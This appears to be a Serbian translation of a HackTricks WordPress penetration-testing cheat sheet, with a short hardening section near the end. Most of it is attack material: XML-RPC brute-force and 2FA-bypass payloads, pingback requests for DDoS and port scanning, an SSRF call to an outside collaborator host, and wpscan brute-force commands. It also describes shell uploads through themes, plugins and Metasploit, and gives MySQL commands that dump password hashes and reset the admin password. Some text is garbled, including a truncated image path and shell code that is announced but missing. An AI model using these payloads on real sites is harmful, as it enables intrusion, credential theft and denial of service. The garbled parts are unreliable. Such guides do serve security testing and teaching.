20 KiB
Wordpress
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Osnovne informacije
Postavljene datoteke idu na: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Datoteke tema se mogu naći u /wp-content/themes/, tako da ako promenite neki php fajl teme da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći temu twentytwelve možete pristupiti fajlu 404.php na: /wp-content/themes/twentytwelve/404.php
Još jedan koristan URL bi mogao biti: /wp-content/themes/default/404.php
U wp-config.php možete pronaći root šifru baze podataka.
Podrazumevane putanje za prijavljivanje koje treba proveriti: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Glavne WordPress datoteke
index.php
license.txt
sadrži korisne informacije poput verzije instaliranog WordPress-a.wp-activate.php
se koristi za proces aktivacije e-pošte prilikom postavljanja nove WordPress stranice.- Folderi za prijavljivanje (mogu biti preimenovani da bi se sakrili):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
je fajl koji predstavlja funkciju WordPress-a koja omogućava prenos podataka HTTP-om kao mehanizmom prenosa i XML-om kao mehanizmom enkodiranja. Ovaj tip komunikacije je zamenjen WordPress REST API.- Folder
wp-content
je glavni direktorijum gde se čuvaju dodaci i teme. wp-content/uploads/
je direktorijum gde se čuvaju svi fajlovi postavljeni na platformu.wp-includes/
Ovo je direktorijum gde se čuvaju osnovni fajlovi, poput sertifikata, fontova, JavaScript fajlova i vidžeta.wp-sitemap.xml
U Wordpress verzijama 5.5 i novijim, Wordpress generiše sitemap XML fajl sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.
Post eksploatacija
- Fajl
wp-config.php
sadrži informacije potrebne WordPress-u da se poveže sa bazom podataka, kao što su ime baze podataka, host baze podataka, korisničko ime i šifra, autentifikacioni ključevi i soli, i prefiks tabele baze podataka. Ovaj konfiguracioni fajl takođe može biti korišćen za aktiviranje DEBUG moda, što može biti korisno pri rešavanju problema.
Dozvole korisnika
- Administrator
- Urednik: Objavljuje i upravlja svojim i tuđim postovima
- Autor: Objavljuje i upravlja svojim postovima
- Saradnik: Piše i upravlja svojim postovima, ali ih ne može objaviti
- Pretplatnik: Pregleda postove i uređuje svoj profil
Pasivno nabrajanje
Dobijanje verzije WordPress-a
Proverite da li možete pronaći fajlove /license.txt
ili /readme.html
Unutar izvornog koda stranice (primer sa https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta ime
- CSS link fajlovi
- JavaScript fajlovi
Dobijanje dodataka
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Dobijanje Tema
{% code overflow="wrap" %}
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Izdvajanje verzija općenito
{% endcode %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aktivno nabrajanje
Dodaci i teme
Verovatno nećete moći da pronađete sve moguće Dodatke i Teme. Da biste otkrili sve od njih, moraćete aktivno Brute Force-ovati listu Dodataka i Tema (srećom, postoje automatizovani alati koji sadrže ove liste).
Korisnici
ID Brute
Dobijate validne korisnike sa WordPress sajta Brute Force-ovanjem ID-eva korisnika:
curl -s -I -X GET http://blog.example.com/?author=1
Ako su odgovori 200 ili 30X, to znači da je id validan. Ako je odgovor 400, onda je id nevažeći.
wp-json
Takođe možete pokušati dobiti informacije o korisnicima upitom:
curl http://blog.example.com/wp-json/wp/v2/users
Još jedan /wp-json/
endpoint koji može otkriti informacije o korisnicima je:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Napomena da ovaj endpoint otkriva samo korisnike koji su objavili post. Biće pružene informacije samo o korisnicima koji imaju ovu funkciju omogućenu.
Takođe, obratite pažnju da /wp-json/wp/v2/pages može otkriti IP adrese.
Enumeracija korisničkih imena za prijavljivanje
Prilikom prijave na /wp-login.php
poruka je različita ako je navedeno korisničko ime postoji ili ne.
XML-RPC
Ako je xml-rpc.php
aktivan, možete izvršiti napad grubom silom na akreditacije ili ga koristiti za pokretanje DoS napada na druge resurse. (Možete automatizovati ovaj proces koristeći ovo na primer).
Da biste videli da li je aktivan, pokušajte da pristupite /xmlrpc.php i pošaljete ovaj zahtev:
Provera
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Bruteforce pristupnice
wp.getUserBlogs
, wp.getCategories
ili metaWeblog.getUsersBlogs
su neke od metoda koje se mogu koristiti za bruteforce pristupnica. Ako uspete da pronađete bilo koju od njih, možete poslati nešto poput:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Poruka "Pogrešno korisničko ime ili lozinka" treba da se pojavi u odgovoru koda 200 ako pristupni podaci nisu validni.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Takođe postoji brži način za brute-force pristupanje korisničkim podacima koristeći system.multicall
jer možete isprobati nekoliko pristupnih podataka u istom zahtevu:
Bypass 2FA
Ovaj metod je namenjen programima, a ne ljudima, i star je, stoga ne podržava 2FA. Dakle, ako imate validne podatke za pristup, ali je glavni ulaz zaštićen 2FA, možda ćete moći zloupotrebiti xmlrpc.php da se prijavite sa tim podacima zaobićići 2FA. Imajte na umu da nećete moći obavljati sve radnje koje možete obavljati putem konzole, ali još uvek možete doći do RCE kako to objašnjava Ippsec u https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS ili skeniranje porta
Ako možete pronaći metod pingback.ping unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu.
Ovo se može koristiti da zatražite od hiljada Wordpress sajtova da pristupe jednoj lokaciji (tako da se DDoS izazove na toj lokaciji) ili možete koristiti da naterate Wordpress da skenira neku internu mrežu (možete naznačiti bilo koji port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Ako dobijete faultCode sa vrednošću većom od 0 (17), to znači da je port otvoren.
Pogledajte upotrebu system.multicall
u prethodnom odeljku da biste saznali kako zloupotrebiti ovu metodu kako biste izazvali DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Ovaj fajl obično postoji pod korenom Wordpress sajta: /wp-cron.php
Kada se ovaj fajl pristupi, izvršava se "teški" MySQL upit, pa ga napadači mogu koristiti da izazovu DoS.
Takođe, podrazumevano, wp-cron.php
se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS).
Preporučuje se onemogućavanje Wp-Cron-a i kreiranje pravog cronjob-a unutar hosta koji obavlja potrebne akcije u redovnom intervalu (bez izazivanja problema).
/wp-json/oembed/1.0/proxy - SSRF
Pokušajte pristupiti https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i Wordpress sajt može poslati zahtev ka vama.
Ovo je odgovor kada ne radi:
SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Ovaj alat proverava da li postoji methodName: pingback.ping i putanja /wp-json/oembed/1.0/proxy i ako postoje, pokušava ih iskoristiti.
Automatski Alati
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Dobijanje pristupa prepisivanjem bita
Više od pravog napada, ovo je radoznalost. U CTF-u https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man mogli ste prebaciti 1 bit iz bilo kog wordpress fajla. Dakle, mogli ste prebaciti poziciju 5389
fajla /var/www/html/wp-includes/user.php
da biste NOP-ovali operaciju NOT (!
).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modifikovanje php datoteke iz korišćene teme (potrebne administratorske akreditacije)
Izgled → Uređivač teme → 404 Šablon (desno)
Promenite sadržaj za php shell:
Pretražite na internetu kako možete pristupiti toj ažuriranoj stranici. U ovom slučaju morate pristupiti ovde: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Možete koristiti:
use exploit/unix/webapp/wp_admin_shell_upload
Plugin RCE
PHP plugin
Moguće je da je moguće učitati .php datoteke kao dodatak.
Napravite svoj php backdoor koristeći na primer:
Zatim dodajte novi dodatak:
Učitajte dodatak i pritisnite Install Now:
Kliknite na Procced:
Verovatno ovo neće ništa uraditi na prvi pogled, ali ako odete na Media, videćete svoj shell učitan:
Pristupite mu i videćete URL za izvršavanje reverse shell-a:
Učitavanje i aktiviranje zlonamernog dodatka
Ovaj metod uključuje instalaciju zlonamernog dodatka koji je poznat kao ranjiv i može biti iskorišćen za dobijanje web shell-a. Ovaj proces se sprovodi putem WordPress kontrolne table na sledeći način:
- Dobijanje dodatka: Dodatak se dobija sa izvora poput Exploit DB kao ovde.
- Instalacija dodatka:
- Idite na WordPress kontrolnu tablu, zatim idite na
Dashboard > Plugins > Upload Plugin
. - Učitajte zip datoteku preuzetog dodatka.
- Aktivacija dodatka: Kada se dodatak uspešno instalira, mora biti aktiviran putem kontrolne table.
- Iskorišćavanje:
- Sa dodatkom "reflex-gallery" instaliranim i aktiviranim, može biti iskorišćen jer je poznato da je ranjiv.
- Metasploit okvir pruža eksploataciju za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem određenih komandi, može se uspostaviti meterpreter sesija, omogućavajući neovlašćen pristup sajtu.
- Napomenuto je da je ovo samo jedan od mnogih načina za iskorišćavanje WordPress sajta.
Sadržaj uključuje vizuelne pomagala koja prikazuju korake u WordPress kontrolnoj tabli za instaliranje i aktiviranje dodatka. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, poput testiranja penetracije sa eksplicitnim odobrenjem.
Za detaljnije korake pogledajte: https://www.hackingarticles.in/wordpress-reverse-shell/**
Post Eksploatacija
Izvucite korisnička imena i lozinke:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Promenite lozinku administratora:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Zaštita WordPress-a
Redovno ažuriranje
Proverite da li su WordPress, dodaci i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php datoteci:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Takođe, instalirajte samo pouzdane WordPress dodatke i teme.
Sigurnosni dodaci
Druga preporuke
- Uklonite podrazumevanog korisnika admin
- Koristite jake lozinke i 2FA
- Periodično pregledajte dozvole korisnika
- Ograničite pokušaje prijave kako biste sprečili napade Brute Force
- Preimenujte datoteku
wp-admin.php
i dozvolite pristup samo interno ili sa određenih IP adresa.
Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi](https://t.me/peass) ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikova slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.